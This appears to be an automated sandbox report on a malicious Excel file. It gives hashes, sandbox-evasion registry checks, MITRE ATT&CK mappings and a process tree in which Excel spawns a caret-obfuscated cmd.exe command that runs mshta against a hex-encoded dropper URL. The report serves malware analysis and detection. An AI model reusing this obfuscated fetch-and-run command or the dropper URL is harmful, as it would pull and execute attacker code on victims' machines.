9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d

General

Target

9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d.xls
Size

70KB
MD5

e85aa320fc84a740efaa1e2ce533bcda
SHA1

3967a9b469537e2d5854727020d298f37edded63
SHA256

9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d
SHA512

4968e18fad786be5f207f6124f266ce1844dc7e797688308e692ff7a788ca1558abf6cdcaa5b692b093740b4eeff070aeb14bf18ab1b936a3b6c02e4d8f67572

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	804	3224	cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
44	1384	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3224	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE
3224	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3224 wrote to memory of 804	3224	EXCEL.EXE	71
PID 3224 wrote to memory of 804	3224	EXCEL.EXE	71
PID 804 wrote to memory of 1384	804	cmd.exe	73
PID 804 wrote to memory of 1384	804	cmd.exe	73

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3224
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:804
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:1384

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3224-115-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3224-116-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3224-117-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3224-118-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3224-121-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3224-128-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

Filesize
64KB

Download
memory/3224-129-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

Filesize
64KB

Download
memory/3224-301-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3224-302-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3224-303-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3224-304-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads